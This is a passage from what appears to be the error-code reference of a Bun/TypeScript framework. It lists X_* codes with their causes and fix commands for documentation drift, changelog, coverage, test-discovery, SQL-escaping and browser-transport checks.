— the cause names the tier and the environment. For a container whose command line is fixed, ULTIMATE_SEED_TIER=<tier> says the same thing, and the cause names it too X_JOB_UNKNOWN the queue holds no job with this id a stale id, or a job already reaped x jobs list --json X_FIX_TARGET_UNKNOWN the named file is not one of the app's source files a path outside apps/*/{site,app,api,shared}, or a typo x fix boundary <nearest real path> — fix carries it X_ROADMAP_FILE_MISSING docs/idea/14-roadmap.md does not exist, so no status or artifact can be checked the roadmap was deleted or moved — every other roadmap rule would otherwise pass silently git checkout -- docs/idea/14-roadmap.md X_ROADMAP_STATUS_MISSING a milestone has no row, or its row's status cell holds neither ✅ nor 🚧 docs/idea/14-roadmap.md edited without keeping the marker put ✅ or 🚧 in the second cell of the row fix names, then bun run scripts/roadmap.ts --json X_ROADMAP_MILESTONE_UNVERIFIED a milestone the table marks ✅ is missing a package or file its own Ships column names the artifact was deleted or renamed after the milestone was marked shipped git checkout -- the paths the fix line lists, or put 🚧 in that row's status cell X_ROADMAP_MILESTONE_UNTRACKED a milestone row exists that REQUIRED_ARTIFACTS has no entry for, so its status marker verifies nothing a milestone appended to the table without teaching the checker what shipping it means — the row could then carry ✅ forever with no artifact behind it add an entry for that milestone to REQUIRED_ARTIFACTS in scripts/roadmap.ts, then bun run scripts/roadmap.ts --json X_SCAFFOLD_OVERRIDES_EMPTY no @ultimat3/* workspace manifests were found, so the smoke app would install from the npm registry scripts/scaffold-smoke-overrides.ts run outside the repo root, or against a tree with no packages/ — writing {} would silently test the published packages instead of the working tree, which is the one thing the scaffold smoke job exists to avoid bun run scripts/scaffold-smoke-overrides.ts ./smoke-app --json from the repo root X_REFERENCE_APP_REGRESSED a step of a tracked app's own gate that was passing now fails — or the gate produced no step table at all a framework change broke examples/dummy or dummy/social-media-clone, and the step is not one of that app's pinned entries cd <app> && bun run ../../packages/cli/src/bin.ts verify — the fix line names the app X_REFERENCE_APP_PIN_STALE a step pinned as failing in the app's expectedRed now passes the app was repaired and the pin was not lowered — the ratchet only shrinks. As of 2026-11, both tracked apps' tables are empty; neither app currently has a pin to remove bun run scripts/reference-app-gate.ts --unpin <app>:<step>[,<step>] — retained for future pins: if a pinned step passes, fix carries the exact line. It edits scripts/lib/gated-apps.ts, refuses nonexistent entries before file access, and refuses rather than guess if that file no longer reads as the pin table X_REFERENCE_APP_UNREFERENCED a tracked app typechecks but the root tsconfig.json does not reference it the app came off the typecheck pin without joining the root tsc -b solution, so the packages' emitted .d.ts are never proved consumable add { "path": "./<the app>" } to the references array in tsconfig.json — fix carries the exact entry X_REFERENCE_APP_NO_FLOOR a tracked app's x.verify.json does not cover the steps its own gate ran — the file is missing, empty, or behind without a committed floor a deleted suite turns its step from red into skipped, which is neither a regression nor a stale pin, so both gates stay green over a suite that no longer exists write or extend <app>/x.verify.json — fix carries the exact body, or the exact step names to add to its "steps" array X_SCAFFOLD_GATE_RED the freshly scaffolded app's own bun run verify went red — or printed a step table this gate cannot match against the declared steps, or reported budgets as skipped rather than green No waiver and no fix-follow, As of 2026-11: scaffold-smoke runs the app's own bun run setup && bun run verify once (SETUP_COMMAND, GATE_COMMAND in scripts/scaffold-gate.ts), and the FIRST bun run verify is the one that has to be green, because that is all a box gets. The --allow-red budgets allowance is gone and nothing replaced it — x verify's budgets step builds when .x/build-stats.json is missing or stale, so the allowance has nothing left to excuse. budgets is asserted green, never merely not-red: a skip would mean the static build bought nothing and no one would see it bun run scripts/scaffold-gate.ts <the scaffolded app> --json, which runs that app's own two scripts; the finding also prints the in-app form to paste X_SCAFFOLD_FIRST_RUN_FAILED a first-run command failed inside a freshly scaffolded app one step of scripts/scaffold-first-run.ts exited non-zero — x db migrate against the pristine scaffold, then one x g per kind in the CLI's own GENERATORS registry, then x db gen and a second x db migrate over what they wrote — or the app has no x binary, which is bun install never having linked one. It exists because scaffold-smoke ran x new → bun install → x verify and nothing else, so three shipped defects sat outside CI: four generators emitting imports that resolve to nothing, a first migration with no snapshot sidecar, and a snapshot the app's own lint rejects. Every step runs — four broken generators are four findings in one run. scripts/scaffold-admin.ts raises it too: it boots x dev in a scaffold, creates, edits and deletes a row through the admin's own forms, and checks a member is refused the fix is the single command that reproduces that step, verbatim: cd <app> && <app>/node_modules/.bin/x <args>. For a missing binary it is cd <app> && bun install --linker=hoisted X_DOC_FIX_UNRUNNABLE a Fix cell of this page cannot be run as written the cell cites an x command, subcommand or flag this build does not ship, passes a bare word its command's usage line has no slot for (x routes list --json), or it says "check"/"see the docs" and names no command, call or file. The page an agent is sent to on an error answering with a second error is axiom 4 broken at the one point it is needed bun run scripts/doc-fixes.ts --json — each finding names the code, the line and the exact reason X_DOC_FIX_UNSCANNED wiki/Error-Codes.md could not be read, or holds no Fix column the page was moved or renamed, or its header row was edited so the column is no longer found by name. Reported rather than skipped: a check whose input has vanished must fail, or it is a false green bun run scripts/doc-fixes.ts --json, then restore the page or its Fix header X_DOC_FIX_DISAGREES a Fix cell on this page names no remedy its code's throw sites register the page or the source's fix: was rewritten and the other was not — the command, call, file or environment name in one appears nowhere in the other. Wording, backticks and <placeholder> spellings are not compared. Reported only above the ratchet in scripts/doc-fix-agreement.ts, every disagreement listed bun run x -- errors explain <CODE> --json, then rewrite that row's Fix cell to name the registered fix — or correct the throw site's fix: if the page is right X_DOC_FIX_DISAGREES_PIN_STALE fewer Fix cells disagree with their registered fix than the ratchet allows a row was agreed and DISAGREEMENT_PIN was not lowered, so a new disagreement could take its place unseen grep -n 'DISAGREEMENT_PIN =' scripts/doc-fix-agreement.ts, and set it to the count the finding names X_DOC_CAUSE_ECHOES_TITLE a row of this page states its title again as its typical cause the row was written with no cause of its own — bun run new-error-code used to copy --title into the cell when none was given — so it says what failed twice and why it fails never, the half an agent reads to know what to look for bun run scripts/doc-fixes.ts --json names each row and line; rewrite its Typical cause cell. A new code takes one as bun run new-error-code <CODE> … --cause '<what usually makes it happen>' X_DOC_COMMAND_UNKNOWN a page in wiki/ or docs/ hands the reader an x invocation this build cannot run the command, its subcommand, its positional or one of its flags does not exist — a renamed flag (--from for --from-step), a plural that moved (x entity for x entities), or a command that never shipped bun run scripts/doc-commands.ts --json; x help --json lists every command, subcommand and flag X_DOC_COMMAND_ALLOWANCE_STALE an entry in DOC_COMMAND_ALLOWANCES matches nothing in the tree the page was fixed or deleted and its licence to name a non-command outlived it. The list may only shrink by being wrong, so a stale entry is a finding rather than dead weight delete the entry from scripts/doc-commands-allow.ts that the finding names X_DOC_COMMAND_UNSCANNED no page was read, so nothing was checked the doc globs match nothing — a directory renamed, or the check run from outside the repo root bun run scripts/doc-commands.ts --json from the repo root X_DOC_COMMAND_PIN_STALE a pinned unresolved x citation (a page + invocation site in DOC_COMMAND_PINS) is no longer there, or a page holds one its pins do not name the ratchet in DOC_COMMAND_PINS. Widening the globs to packages/*/*.md found 23 citations that no rule had ever read, so they are pinned per site (page + invocation) and may only shrink — a pin above the real count is slack a new broken line would spend bun run scripts/doc-commands.ts --json names the file and both numbers; set the pin to the first one, or delete the entry at 0 X_DOC_TEST_PATH_BARE a page hands the reader bun test <path> with no leading ./ Bun reads an unanchored argument as a substring filter, not a path: bun test packages/core at the repo root also runs examples/dummy/packages/core/… under the wrong config, and those fail. CLAUDE.md said "always ./" while ~40 pages wrote the bare form bun run scripts/doc-test-paths.ts --json names each page and line; write the path as ./packages/<pkg>/ X_DOC_TEST_PATH_UNSCANNED no page was read, so no bun test path was checked the globs in TEST_PATH_GLOBS match nothing — a directory renamed, or the check run from outside the repo root bun run scripts/doc-test-paths.ts --json from the repo root X_TSCONFIG_PATH_MISSING a package exports a TypeScript subpath with no row in tsconfig.base.json paths an app resolves the subpath through its workspace symlink and the package's exports; the repo root resolves through paths alone, where @ultimat3/* maps @ultimat3/jobs/adapter to a directory that does not exist — nine ./adapter subpaths landed in v31 and scripts/ answered TS2307 bun run scripts/tsconfig-paths.ts --json prints the row to add to compilerOptions.paths in tsconfig.base.json X_TSCONFIG_PATH_STALE a tsconfig.base.json paths row names a subpath no package exports, or a file other than the one it exports the export was renamed, moved or deleted and the row outlived it bun run scripts/tsconfig-paths.ts --json names the row to correct or delete in tsconfig.base.json X_TSCONFIG_PATHS_UNSCANNED no package subpath export was read, so the paths rows were checked against nothing the check ran outside the repo root, or the packages/*/package.json glob matches nothing bun run scripts/tsconfig-paths.ts --json from the repo root X_DOC_GATE_STEPS_STALE a page states how many steps x verify runs, or enumerates them, and describes a gate this build does not run a step was added and the count was not — seo shipped as the 18th and 20 files went on saying 17 through a whole major release. The list form fails the same way with a right count: an inserted step missing from an enumeration bun run scripts/gate-steps.ts --json — each finding carries the number or the ordered list to write X_DOC_SETUP_COMMAND_STALE a page describes a bun run setup the scaffold does not write — a step list missing one of its steps, or a step count that is not the script's the six-step sequence is hand-copied into four pages and x db seed sat in the script with no CI path running it; scripts/setup-commands.ts derives the list from binSetup() in packages/cli/src/templates/scaffold-bin.ts, so a step added there makes the prose red on the same commit bun run scripts/setup-commands.ts --json prints the derived sequence; make the named line state it X_DOC_SETUP_COMMANDS_UNSCANNED the rule read no list, or no count, or could not read binSetup() at all a corpus rule that stops matching reports green forever, which is worse than the drift it was written for — one half can stop matching while the other still works, so each reports on its own bun run scripts/setup-commands.ts --json, then widen DOC_GLOBS in scripts/doc-commands.ts or stepRows/countClaims in scripts/setup-commands.ts X_DOC_GATE_STEPS_UNSCANNED no page states a step count or enumerates the gate, so the rule read nothing the globs match nothing, or every page that stated the count was deleted. Reported rather than skipped: a rule with no input is a false green, not a pass bun run scripts/gate-steps.ts --json from the repo root X_DOC_SETUP_COMMAND_STALE a page enumerating what a scaffolded app's bun run setup runs describes a script x new does not write the six-step list is hand-copied into several pages and the script is one file — x db seed and x manifest were both added to it while the prose went on naming four steps. The list is derived from binSetup() in packages/cli/src/templates/scaffold-bin.ts, so a step added or renamed there turns the stale page red on the same commit bun run scripts/setup-commands.ts --json — each finding carries the sequence to write X_DOC_SETUP_COMMANDS_UNSCANNED no page enumerates bun run setup's sequence, so the rule read nothing the globs match nothing, or every page that documented the script was deleted. Reported rather than skipped, for X_DOC_GATE_STEPS_UNSCANNED's reason: a rule with no input is a false green bun run scripts/setup-commands.ts --json from the repo root X_DOC_CHANGELOG_SECTION_INVALID a changelog section is not one section CHANGELOG.md is the index ([Unreleased] and a ## Releases table) and each release is docs/changelog/<version>.md: a ## X.Y.Z section written into the index, a release file that is not exactly one ## X.Y.Z - YYYY-MM-DD section named for its file, a table row missing or out of step with its file, or no release file at all (every changelog rule would read nothing) is this code, from scripts/lib/changelog-index.ts. Two ## headings name the same version, or a released section has no body. scripts/release.ts raises the same code for the third shape, refusing before a manifest is written: an [Unreleased] with no body and no commit since the previous tag would ship a version section that says nothing. A fourth sits under the same code in scripts/changelog-check.ts: a released section whose body is the auto-generated ### Commits block alone — what promoteUnreleased appends when [Unreleased] held no human-written notes — so the release it names shipped no release notes of its own ([Unreleased] itself is exempt: its notes are simply not written yet). The release script used to append a section generated from commit subjects instead of promoting [Unreleased], and that is what put two ## 5.0.1 headings and two ## 5.0.0 headings in the file — a dateless generated one above the hand-written one, each time. Both pairs sat there from the release: 5.0.1 commit until release: 6.0.0 merged them by hand bun run scripts/changelog-index.ts --write --json moves a release section out of the index and rewrites the table. Otherwise merge the two sections into one, or delete the generated one, then bun run scripts/changelog-check.ts --json — it names the file and line. For the empty case, write the notes under ## [Unreleased] in CHANGELOG.md and run the release again. For the commits-only case, write the human-written release notes in the docs/changelog/<version>.md the cause names, above the ### Commits block, then bun run scripts/changelog-check.ts --json X_DOC_CHANGELOG_UNRELEASED_BREAKING BREAKING — entries sit under ## [Unreleased] on a tagged commit the release did not promote [Unreleased], so the tag's own section does not hold the migration wiki/Upgrading.md sends the reader to. The commit before release: 6.0.0 was exactly that: the migration as it stood then — five BREAKING — entries — under ## [Unreleased], wiki/Upgrading.md already sending the reader to a 6.0.0 section the file did not yet have, and a human promoting it by hand in the release commit. Only fires where git tag --points-at HEAD names a vX.Y.Z — between releases [Unreleased] is where a breaking entry belongs bun run scripts/release.ts --bump major --dry-run --json validates the promotion and writes nothing; the same command without --dry-run performs it. Promotion is now the only path — the script cannot append X_DOC_MIGRATION_COUNT_STALE a wiki/Upgrading.md count is not the count of the section it names three shapes, one code: a row claiming a number that major's own docs/changelog/<major>.0.0.md does not hold, the aggregate row disagreeing with the sum of the per-major rows, and a released major from 2.0.0 on with no row at all. The count used to be derived from the WHOLE file, which cannot see a migration filed under the wrong heading — a misplaced entry only makes the number smaller bun run scripts/changelog-check.ts --json — each finding carries the number that section actually holds; write that number into the cell, or add the missing row X_DOC_MIGRATION_UNSCANNED no row in wiki/Upgrading.md sends the reader to a single version section, so the rule read nothing the summary table was restructured or removed. Reported rather than skipped: a rule with no input is a false green, not a pass restore the summary table in wiki/Upgrading.md — each row reads the `X.Y.Z` section, in order X_DOC_MIGRATION_UNPAIRED a BREAKING — line and the Upgrading entry that migrates it do not pair one-to-one from 23.0.0 on, each BREAKING — line in CHANGELOG.md names its row of that major's Entry by entry table as (#N) straight after the dash. A line with no key, a key named twice or out of order, a key with no row, or a row no line names is a finding: the count rule (X_DOC_MIGRATION_COUNT_STALE) agrees when one line is added on each side for two different changes bun run scripts/changelog-check.ts --json — it names the lines; write (#N) after each dash, N the row in wiki/Upgrading.md X_DOC_MIGRATION_RANGE_STALE a walkthrough cites an entry or upgrade step it has no row for an Entries cell of The upgrade, top to bottom, a package range in the Entry by entry intro, or a lead callout ("entries 88–90, upgrade steps 32–34") names a number the walkthrough's own table does not have — or the intro's package ranges leave a row uncovered or cover one twice bun run scripts/changelog-check.ts --json — it names the line in wiki/Upgrading.md to correct X_DOC_GUARD_REFRESH_UNSTATED a shipped guard template changed and wiki/Upgrading.md names no x g guard refresh for it an app's guards/ copy is its own and x upgrade never rewrites it, so a changed template reaches the app only through x g guard <name> --force. Every guard whose packages/cli/src/templates/guard-*.ts changed between the last two release tags, or since the latest one (a helper spliced into guards counts for each guard importing it), must be named in one Upgrading row or paragraph together with x g guard and a version of that range — any version past the latest tag for [Unreleased]. 31.4.0 and 31.4.1 changed twelve and the page said nothing git diff --name-only v<previous> v<latest> -- packages/cli/src/templates/ lists them; write the row, then bun run changelog-check --json X_RELEASE_UNRELEASED_MISSING CHANGELOG.md has no ## [Unreleased] heading, so a release has nothing to promote the heading was renamed or deleted. Refused before any manifest is written, and under --dry-run too — guessing where the release notes live is how a release ships the wrong section, and finding out after 47 files have moved is the expensive order to find it out in add ## [Unreleased] under the preamble of CHANGELOG.md, above the newest version, then bun run scripts/release.ts --bump patch --dry-run --json X_README_EXAMPLE_UNCOMPILED a package README.md gained a ts/tsx fence that does not compile an example written against an API that changed, or one that never compiled. A fence is a promise an agent will copy; the count per package may only fall bun run scripts/readme-fences.ts --json names the package, the fence and the diagnostic X_README_EXAMPLE_PIN_STALE a package's pinned failing-fence count is higher than the number that actually fail examples were fixed and the ratchet was not lowered, so the budget would let a new broken fence in for free bun run scripts/readme-fences.ts --pin — it only lowers, never raises X_README_EXAMPLE_UNSCANNED tsc did not run over the extracted fences the fixture could not be written, or the compiler refused to start. tsc reports no semantic diagnostics at all once a program holds a syntax error, so a check that read this as "nothing wrong" would go green over every package at once bun run scripts/readme-fences.ts --json — the finding carries the compiler's own output X_README_SAMPLE_DRIFT the root README.md's code sample is not the file its readme-sample marker names the quoted examples/dummy file changed, or the fence was edited by hand. A marker with no fence, a missing file or a README with no marker reports too, so the rule never checks nothing in silence bun run scripts/readme-sample.ts --write X_README_FACTS_DRIFT the root README.md's generated facts table is not what the tree says a package was added or removed, a gate step or a coverage pin moved, the test files or X_* codes crossed a hundred, or the block was edited by hand. A README with no readme-facts block reports too bun run scripts/readme-facts.ts --write X_PRODUCTION_APPS_DRIFT a page answering who uses Ultimate does not carry what PRODUCTION_APPS renders the block in README.md, wiki/FAQ.md or wiki/Compared.md was edited by hand, the constant in scripts/production-apps.ts moved, or the page lost its block. The count is owner-reported and adopters are never named bun run scripts/production-apps.ts --write X_ADOPTION_CLAIM_UNGENERATED a published page says who uses Ultimate outside the generated production-apps block a sentence about who runs it in production, its adopters, or a count of apps or teams was written by hand, where it drifts from PRODUCTION_APPS (README and the FAQ once answered "is it in production?" opposite ways). CHANGELOG.md, docs/plans/ and docs/history/ are records and are not read drop the sentence or point at the block; a page that must state it joins PRODUCTION_APPS_FILES in scripts/production-apps.ts, then: bun run scripts/production-apps.ts --write X_PACKAGE_README_SHAPE a publishable package's README lacks, in its first 30 lines, the heading, one sentence, an install line, an example or a link to its homepage wiki page — or a README_SHAPE_PINS row exempts nothing the README opens on an internal table, or package.json's homepage is not a page under the wiki; npm shows this screen first edit that package's README.md head (or pin it with a reason in README_SHAPE_PINS in scripts/package-front.ts), then bun run scripts/package-front.ts --json X_PACKAGE_KEYWORDS_MISSING a publishable package's package.json has no non-empty keywords array the package predates scripts/new-package.ts stamping keywords, so npm search never offers it add "keywords": ["ultimate", "bun", …] to that package's package.json, then bun run scripts/package-front.ts --json X_VERSION_STAMP_STALE a page stamps a version that is not the version this tree carries a release bumped the workspaces and left the stamp behind. Exactly one page states the version; the rest carry the date alone bun run scripts/version-stamps.ts --json names the file, the stamp and the version to write X_VERSION_STAMP_DUPLICATE more than one page carries a version stamp a second page restated a fact one page owns, so the two can disagree. The wiki footer renders on every page, which is why it is the one that says it delete the stamp the finding names, keeping its As of date X_VERSION_LOCKSTEP_BROKEN the publishable workspaces do not all carry one version a release bumped some manifests and not others — the state nine untagged releases already reached once. Versioning is lockstep even though publication is not bun run scripts/version-stamps.ts --json lists each workspace and its version; scripts/release.ts rewrites them together X_VERSION_STAMP_UNSCANNED no workspace manifest carried a version, so there was nothing to compare against the check ran outside the repo, or packages/*/package.json matched nothing bun run scripts/version-stamps.ts --json from the repo root X_COVERAGE_BELOW a package's own src/ is under the coverage floor the floor is 95% lines and functions, or that package's lower entry in scripts/lib/coverage-pins.ts — a pinned package may not fall further. Scoped to the package's own files on purpose: bun test packages/<pkg> loads everything it imports and Bun's summary averages over all of it, which read @ultimat3/cache at 35% while its own sources were at 98.8% cover the gap with tests beside the source, then bun run scripts/coverage-gate.ts --package <pkg> --json. For a pinned package the finding says what the pin recorded, and restoring that is the edit X_COVERAGE_PIN_STALE a package now clears its coverage pin and the pin is still there either it reached the 95% target outright, or it is more than 1.5 points above its pin — a ratchet measured against last quarter catches nothing delete that package's entry from COVERAGE_PINS in scripts/lib/coverage-pins.ts, or raise it to the measured numbers; bun run scripts/coverage-gate.ts --all --json prints both X_COVERAGE_UNMEASURED coverage was read from a suite that did not measure it three shapes: no lcov record names the package at all, so the percentage is over nothing; the suite wrote no report because it never finished; or files with executable code have no lcov record, which makes them absent from the percentage rather than counted as zero — the one direction an unmeasured file must never move it bun test --coverage packages/<pkg> and fix what it reports. For unimported files the finding lists them: import each from a test beside it X_DOC_FILE_COUNT_STALE a page states a file count for a generator that the generator no longer emits the count is hand-copied and the template list moved. x new 125, --no-example 99, x g resource 27, --live --admin 29 and x g action 9 were held by nobody; five had gone stale at once, and wiki/Tutorial-02-First-Feature.md was two further out because it states its numbers in prose rather than a table bun run scripts/generator-counts.ts --json — each finding carries the number to write. Re-derive it yourself with x g <kind> <name> --dry-run --json or x new <app> --dry-run --json and count data.files X_DOC_FILE_COUNT_UNSCANNED no page states a generator file count, so the rule read nothing the doc globs stopped matching, or the phrasing the rule recognises changed. Reported rather than skipped: a rule with no input answers exactly what a clean tree answers, which is a false green check DOC_GLOBS in scripts/doc-commands.ts still matches the pages, and CLAIM in scripts/generator-counts.ts still matches how they state a count X_DOC_RELEASE_FACT_STALE a page states how many packages ship and the tree has a different number the count is restated across ten files — CLAUDE.md, README.md, AGENTS.md, SECURITY.md, PUBLISHING.md, five wiki pages and three under docs/idea — and hand-copied every time. SECURITY.md claimed 28 packages and a supported line of 1.0.x, two majors stale bun run scripts/release-facts.ts --json names the file and the number to write; bun run scripts/list-workspaces.ts is where the number comes from X_DOC_RELEASE_FACT_UNSCANNED no page states a package count, so the rule read nothing the globs or the phrasing moved. Reported rather than skipped: silence over ten pages that restate one number reads identically to agreement edit FACT_GLOBS in scripts/release-facts.ts so it matches how the pages state a count X_DOC_PACKAGE_GRAPH_STALE the dependency graph docs/architecture/01-package-map.md draws is not the one the manifests declare two shapes, one code: an arrow whose from package declares no dependency on its to, and a publishable package with no node at all. Eleven arrows described imports no manifest ever made — schema→core, ui→render, render→query and eight more — and scraping was absent entirely. The reverse is deliberately unchecked: the graph abridges, cli declares 23 and draws 4 bun run package-map-graph --json — each finding names the arrow, its line and the package.json that would have to declare it X_INDEX_ORDER_UNGUARDED an ordering assertion built on indexOf with nothing asserting the needle is present indexOf answers -1 for a needle it never found, and -1 is less than every real index — so the assertion holds when the thing it orders is not emitted at all. Measured 2026-08-26: deleting a drop constraint emission from moveKeysAside left packages/db/src/retype-keys.test.ts GREEN, and a sweep then found 24 more across 11 packages. Which operand is at risk is not symmetric and that is the whole rule — X.toBeLessThan(Y) is passed by a phantom -1 in X, X.toBeGreaterThan(Y) by one in Y; a -1 on the safe side fails loudly and is never reported bun run index-of-order --json — assert presence first (expect(<haystack>).toContain(<needle>), or expect(<index>).toBeGreaterThanOrEqual(0)), then compare. Prove it by deleting what the assertion orders and watching the test go red X_INDEX_ORDER_PIN_STALE a package is pinned above the unguarded assertions it now has the ratchet only shrinks, so a repair lands with its pin in one commit the rule is zero-pinned and has no --unpin: edit scripts/index-of-order.ts — lower the OrderPin for the package to the count the finding names, or delete it at 0 X_INDEX_ORDER_PIN_UNEXPLAINED a package is pinned with a blank reason the pins file declared "a blank reason is the documentation axiom 3 says does not exist" in prose and nothing read reason, so the first pin added in a hurry would have carried none. boundaries.ts refuses a blank FLOOR_ABOVE reason the same way edit scripts/index-of-order.ts — write what the remaining site(s) are and why they stand on the OrderPin, or repair them and delete the pin X_INDEX_ORDER_UNSCANNED the rule read nothing, so no ordering assertion was checked a Bun.Glob pattern that matched zero files. Braces DO expand, but an alternative containing a / matches nothing — measured, {packages,scripts}/** finds 1,309 files and {packages/*/src,scripts}/** finds none — and a pattern matching nothing reads exactly like a clean tree, which is what the first draft of this rule reported having scanned no file at all bun run index-of-order from the repo root; check the globs in scripts/index-of-order.ts X_SKIP_CLEANUP_UNREACHED a test file resets a process-global registry from inside a .skipIf( block, where it never runs Bun evaluates a skipped file's module body — so a module-scope entity() REGISTERS — and then does not run a hook inside describe.skipIf(true). Measured 2026-08-26 with TEST_DATABASE_URL unset: 19 live suites leaked 36 entities, where the next same-named entity() is an X_ENTITY_DUPLICATE nobody can attribute. The leak WAS the house convention, so it appears only in the one configuration a live suite is never deliberately run in bun run skip-if-cleanup --json — move the reset into a hook at column 0 and guard nothing on the skip condition; a file-scope hook that returns early on it leaks identically X_SKIP_CLEANUP_UNSCANNED the rule read nothing, so no skipped suite was checked the same zero-file glob condition as X_INDEX_ORDER_UNSCANNED bun run skip-if-cleanup from the repo root X_TEST_DISCOVERY_UNSEEN the tree holds a test file the gate's test discovery cannot yield, or one outside the one convention the gate's unit, contract and job steps select files through discoverTests() — TEST_GLOB = '**/*.test.{ts,tsx}', packages/cli/src/test-select.ts:28 — while bun's own root bun test discovery is wider, so a file the glob does not match is a test no gate step ever runs. Refused shapes, each with its own ground: a basename holding .spec., _spec. or _test. — bun's root bun test runs *_test.* too, and TEST_GLOB matches none of them — or ending .test.js or .test.jsx; a path under a __tests__/ directory whose basename the glob matches — TEST_GLOB DOES match __tests__/*.test.ts, and packages/cli/src/test-ignores.ts ignores no __tests__, so the gate runs that file too; it is refused because a test file lives beside its source, never in a __tests__/ directory bun run test-discovery — then git mv /.test.ts`, beside its source, under the one convention X_TEST_DISCOVERY_UNSCANNED the discovery walk read zero files, so no test-shaped file was checked a blind rule never reads as a clean tree: a walk that matched nothing answers exactly what a clean scan of the whole tree answers — X_INDEX_ORDER_UNSCANNED's zero-file condition, on the walk rather than a glob bun run test-discovery from the repo root; check the walk in scripts/test-discovery.ts X_PROBE_DATABASE_FIXED a test creates a database under a name that is the same on every run a literal create database x_…, or a binding holding one — x_${process.pid} included. Two runs against one server (a dev re-run beside a gate, two checkouts sharing docker/test-services) and the first afterAll drops the database from under the other's running tests; CI runs the live suites in one job, so it never sees it (#705) const PROBE_DB = probeDatabaseName('x_<suite>'); with import { probeDatabaseName } from '@ultimat3/core';, then bun run probe-databases --json X_SQL_LITERAL_COPY a module other than packages/db/src/sql.ts turns ' into '' itself three copies of the SQL string-literal escape shipped and two were wrong the same way — they doubled the quote and stopped. Doubling is only an escape while standard_conforming_strings is on; that GUC is settable per session, per database and per role, SET needs no privilege, and with it off a backslash escapes the character after it. Measured on 18.4: 'dd' ~ '^\d+$' is FALSE with it on and TRUE with it off, and .default('C:\logs') stores C:logs. So a CHECK enforced a pattern nobody wrote and a column defaulted to a value nobody wrote, with no error at generation or at apply. Matched on the transformation, never a name: the three copies were called literal, literalText and an unnamed inline splice bun run sql-literal-copies --json — import { literal } from '@ultimat3/db' and take .text where a plain string is wanted; it emits E'…' only when the value carries a backslash, so every statement already on disk is byte-identical X_SQL_LITERAL_UNSCANNED the rule read nothing, so no copy of the escape was checked packages/db/src/sql.ts was not among the scanned files — moved, renamed, or the scan pointed at the wrong tree. Reported as a blind rule rather than as a clean answer, because "one module builds a SQL string literal" is what a correct tree says too restore the file, or update OWNER in scripts/sql-literal-copies.ts if literal() moved — then bun run sql-literal-copies X_BROWSER_TRANSPORT_BYPASS browser-reachable code opens its own connection instead of using the one seam a fetch( call, new WebSocket(, new XMLHttpRequest( or new EventSource( — or the global fetch handed on as a value (rpc({ fetch }), fetch: fetch, const f = window.fetch, make(globalThis.fetch); a property named fetch, a local binding and a type position are not) — in an island or a module one reaches (its import closure, followed name by name through barrels, into the app's own packages/*). Such a request skips the page's record store, the idempotency header and the principal fence. Reported by x verify's boundaries step in every app (As of 2026-10; built in, not a guards/ file, so an app cannot delete it) — there no file may hold one: the three seams are the framework's, inside node_modules, and the walk stops at that boundary. In this repository bun run browser-transport runs the same rule with the seams as files: packages/core/src/client-dispatch.ts for fetch, packages/realtime/src/browser-socket.ts for sockets, packages/storage/src/upload-client.ts for XHR, nothing for EventSource; the service worker's files are exempt. Blind spots, stated: a browser module that is no island, names no seam and is imported by neither; a request made inside an installed package; a computed member (globalThis['fetch']); a bare fetch( in a file that binds a local fetch. A route.ts, a job and a test are server code and never reported x verify --only boundaries --json after replacing the call the finding names: an action → await browserClient.<action>(input) (rpc<Api['actions']> in apps/web/shared/browser-client.ts); a read → useQuery(<QUERY_REF>, input); a socket or SSE → useQuery / useChannel; a file → uploadFile({ file, grant }) from @ultimat3/storage; anything else → clientTransport({ method, url }) from @ultimat3/core/page; a fetch passed as a value → delete it (rpc() and queryClient() send through clientTransport when given none) and move the module that took it onto one of the above X_BROWSER_TRANSPORT_UNSCANNED the rule's fetch seam no longer calls fetch, so every bypass check is vacuous TRANSPORT_SEAMS in scripts/browser-transport.ts names a module that has moved or been renamed. Reported as a blind rule, because "no bypass" is also what a correct tree says edit TRANSPORT_SEAMS in scripts/browser-transport.ts to name the module that calls globalThis.fetch, then bun run browser-transport --json X_BROWSER_SERVER_BARREL browser-reachable code imports a package's server barrel where the package publishes a browser entry an island's import closure reaches, for example, @ultimat3/entity, whose barrel retains ~1 MB of SQL rendering and @ultimat3/db, while @ultimat3/entity/record is the entry published for a browser (@ultimat3/query → @ultimat3/query/client). The browser entries are derived from each installed manifest's exports (a record, browser or client subpath, packages/cli/src/server-barrels.ts), never listed. Reported by x verify's boundaries step in every app, As of 2026-10 x verify --only boundaries --json — each finding opens with its edit: the import swapped to the browser entry it names (@ultimat3/query/client for @ultimat3/query), or the cut where the island first reaches the barrel X_CHANNEL_LITERAL a channel topic is spelled outside its channel() declaration a string or template literal as the first argument of useChannel, publishRecords, subscribe, unsubscribe or publish, or a topic built by + or a ${…} template. The publisher and the subscriber then drift onto two spellings, and frames arrive nowhere with no error on either side. Tests are fixtures and never reported. As of 2026-09-22 it is standalone and not yet a step of the gate declare it once with channel(name, { params, policy }) from @ultimat3/realtime and pass the declaration: useChannel(decl, params) / publishRecords(decl, params, entity, rows), then bun run channel-literals --json X_CHANNEL_LITERAL_UNSCANNED the rule's seam was not among the files scanned CHANNEL_SEAM in scripts/channel-literals.ts names a module that has moved, so its exemption names nothing and a clean run proves nothing edit CHANNEL_SEAM in scripts/channel-literals.ts to name the module that declares channel(), then bun run channel-literals --json X_SEAL_CALL_OUTSIDE_CORE a package writes its own AES call instead of calling seal() / open() shipped source outside packages/core/src/{secrets,seal,seal-keys}.ts (SEAL_SEAM) and the modules STANDARD_CIPHERS names — a cipher a standard fixes, toward a key that is not the app's: packages/pwa/src/push-{encrypt,decrypt}.ts, RFC 8291 — calls subtle.encrypt( / subtle.decrypt(, uses createCipheriv / createDecipheriv, or names an AES algorithm ('AES-GCM'). A second cipher call is a second key source, a second wire format and a value with no purpose bound in. Signing, verifying and hashing are not sealing and are never reported; tests are fixtures edit the file the finding names — call seal(value, { purpose }) / open(sealed, { purpose }) from @ultimat3/core, then bun run seal-calls --json X_SEAL_CALL_UNSCANNED the rule's seam was not among the files scanned SEAL_SEAM or STANDARD_CIPHERS in scripts/seal-calls.ts names a module that has moved, so its exemption names nothing and a clean run proves nothing edit SEAL_SEAM or STANDARD_CIPHERS in scripts/seal-calls.ts to name the modules that call the cipher, then bun run seal-calls --json X_KEYED_HASHER an HMAC is taken with a keyed new Bun.CryptoHasher(alg, key) instead of hmac() any file outside packages/core/src/hmac.ts — shipped source, a test, a fixture, a tracked app — constructs CryptoHasher with two arguments. Under Bun 1.4.4 a failed WebCrypto EC import anywhere in the process (one bad JWKS or VAPID key) makes the next keyed hasher throw that stale OpenSSL error once, so a webhook signature, a cursor or a 